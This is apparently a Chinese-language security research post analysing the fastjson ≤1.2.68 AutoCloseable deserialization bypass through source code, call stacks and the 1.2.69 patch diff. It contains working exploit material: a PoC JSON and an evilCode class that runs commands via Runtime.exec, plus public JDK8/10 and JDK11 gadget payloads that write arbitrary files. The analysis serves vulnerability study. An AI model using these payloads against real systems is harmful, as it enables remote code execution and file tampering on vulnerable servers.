fastjson ≤ 1.2.68 AutoCloseable 利用链分析

fastjson ≤ 1.2.68 的利用链分析

1.2.68 fastjson_safemode

详情看官方 WiKi:https://github.com/alibaba/fastjson/wiki/fastjson_safemode

开启 safeMode 后,如果解析到 JSON.DEFAULT_TYPE_KEY ,也就是解析到 @type ,还是会调用 checkAutoType 检查

checkAutoType 内部增加了一个对 safeMode 值的判断,开启 safeMode 后直接抛出异常

1.2.68-1.2.69 diff

对比 1.2.68-1.2.69 版本,核心改动在期望类

1.2.69 新增了以下3个类型的判断

版本 十进制hash值 十六进制hash值 类名
1.2.69 5183404141909004468L 0x47ef269aadc650b4L java.lang.Runnable
1.2.69 2980334044947851925L 0x295c4605fd1eaa95L java.lang.Readable
1.2.69 -1368967840069965882L 0xed007300a7b227c6L java.lang.AutoCloseable

触发漏洞的核心是 java.lang.AutoCloseable

源码分析

本流程分析致力于解决以下问题:

  • AutoCloseable 为什么能用
  • AutoCloseable 与 expectClass 的关系
  • checkAutoType 的限制
  • 如何构造链

AutoCloseable 为什么能用

回顾 fastjson 的补丁,在开启 autoType 后 xx 类如果想通过 checkAutoType 的校验,往往是以下几种情况

  • 不在黑名单(补丁升级之前)
  • 在白名单中(可手动添加)
  • 在 mappings 中(1.2.47 bypass)
  • 其他

1.2.68 mappings 初始化的时候, 会将 java.lang.AutoCloseable put 进入 ConcurrentMap

com.alibaba.fastjson.util.TypeUtils#addBaseClassMappings

调用栈

addBaseClassMappings:1610, TypeUtils (com.alibaba.fastjson.util)
<clinit>:124, TypeUtils (com.alibaba.fastjson.util)
<init>:198, ParserConfig (com.alibaba.fastjson.parser)
<init>:330, ParserConfig (com.alibaba.fastjson.parser)
<init>:326, ParserConfig (com.alibaba.fastjson.parser)
<clinit>:168, ParserConfig (com.alibaba.fastjson.parser)
parseObject:300, JSON (com.alibaba.fastjson)
parseObject:573, JSON (com.alibaba.fastjson)
main:9, AutoCloseableDemo (com.p2hm1n.fastjsondemo.basic)

AutoCloseable 与 expectClass 的关系

由于 ThrowableDeserializer 太局限,下文我们探讨主要范围是:JavaBeanDeserializer

在梳理 AutoCloseable 与 expectClass 的关系之前,先看一下 AutoCloseable 是什么

Java Doc 这样定义

代表一个对象在close之前可能持有某些资源(文件或socket)。如果对象是在try-with-resources代码块中声明的, AutoCloseable对象的close()方法会被自动执行。这种构造方式保证了最快的资源释放,避免资源耗尽异常。

Demo:https://juejin.cn/post/6844904007564001288

接着看 expectClass 是什么

Demo

public class AutoCloseableDemo {
public static void main(String[] args) {
String jsonDemo = "{\"@type\":\"com.p2hm1n.fastjsondemo.basic.User\", \"age\":10,\"flag\":true,\"name\":\"zhangsan\"}";
System.out.println(jsonDemo);
JSON.parseObject(jsonDemo, User1.class);
}
}

上述demo下,expectClass 通常为 parseObject 第二个参数

用 1.2.47 的 bypass 思路,创建如下格式的 JSON

JSON

{"@type":"java.lang.AutoCloseable", "@type":"fastjson.evilCode", "cmd":"touch /Users/p2hm1n/Desktop/test/success"}

Demo01.java

public class Demo01 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String poc = "{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"fastjson.evilCode\", \"cmd\":\"touch /Users/p2hm1n/Desktop/test/success\"}";
System.out.println(poc);
JSON.parseObject(poc);
}
}

evilCode.java

public class evilCode implements AutoCloseable{
public String cmd;

public void setCmd(String cmd) throws Exception{
Runtime.getRuntime().exec(cmd);
}
@Override
public void close() throws Exception {
}
}

此时经过了一次 parseObject 中的 checkAutoType 后,在 JavabeanInfo 也会调用一次 checkAutoType,此时的期望类为之前的 AutoCloseable

调用栈

checkAutoType:1226, ParserConfig (com.alibaba.fastjson.parser)
deserialze:804, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:288, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:284, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:395, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1401, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1367, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:183, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parse:149, JSON (com.alibaba.fastjson)
parseObject:254, JSON (com.alibaba.fastjson)
main:11, Demo01 (fastjson)

那 expectClass 究竟在流程中起到了什么至关重要的作用?其涉及到了fastjson 的特性

首先回顾之前的链路中,核心 RCE 的方式都是通过 jdbc 那个链来构造 jndi 注入

后续的问题核心还是如何绕过黑名单机制的问题,后续跟进一下调用,在 checkAutoType 时,先检查 safeMode 模式是否开启,然后就是 1.2.24 后续补丁对L;[ 等字符的检查,然后有相应的 expectClass 的判断,expectClassFlag 的附值,之后就是常规的黑白名单的校验

后续获取 clazz

之后会进行一个黑名单的判断,如果为 ClassLoader.class、DataSource.class.、RowSet.class 的子类,则抛出异常,如果 expectClass 不为空,且 clazz 为 expectClass 的子类,最终返回 clazz

也就是这里的核心其实是靠 expectClass 的子类来实现 gadget 的调用

攻击限制是:需要其 expectClass 的子类实现 setter 方法,后续在调用的时候会调用到

checkAutoType 的限制

其实是不需要开启 AutoTypeSupport 的

之前分析过由于 AutoCloseable 在 mappings 里面,因此 checkAutoType 的时候直接就返回 clazz 了

而如果不在 mappings 里面,会经过上述判断后,再进行常规黑白名单判断,最后再经过一堆判断后最终抛出异常

那么 safeMode 能不能限制呢?

如下图可以发现,safeMode 的判断在 checkAutoType 方法中非常前面的位置。因此会直接抛出异常

如何构造链

目前没有挖到新的链

公开的应该是浅蓝师傅和 rmb122 师傅的,就不一一展开分析了

JDK11,不依赖三方库

{
'@type':"java.lang.AutoCloseable",
'@type':'sun.rmi.server.MarshalOutputStream',
'out':
{
'@type':'java.util.zip.InflaterOutputStream',
'out':
{
'@type':'java.io.FileOutputStream',
'file':'dst',
'append':false
},
'infl':
{
'input':
{
'array':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==',
'limit':22
}
},
'bufLen':1048576
},
'protocolVersion':1
}

JDK8/10

{
'@type':"java.lang.AutoCloseable",
'@type':'sun.rmi.server.MarshalOutputStream',
'out':
{
'@type':'java.util.zip.InflaterOutputStream',
'out':
{
'@type':'java.io.FileOutputStream',
'file':'dst',
'append':false
},
'infl':
{
'input':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=='
},
'bufLen':1048576
},
'protocolVersion':1
}

REF

对 fastjson 1.2.68 的理解是片面的,由于最近囫囵吞枣的学完 fastjson ,还是缺少一个系统的分析

http://scz.617.cn:8/web/202008100900.txt

http://scz.617.cn:8/web/202008111715.txt

https://rmb122.com/2020/06/12/fastjson-1-2-68-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-gadgets-%E6%8C%96%E6%8E%98%E7%AC%94%E8%AE%B0/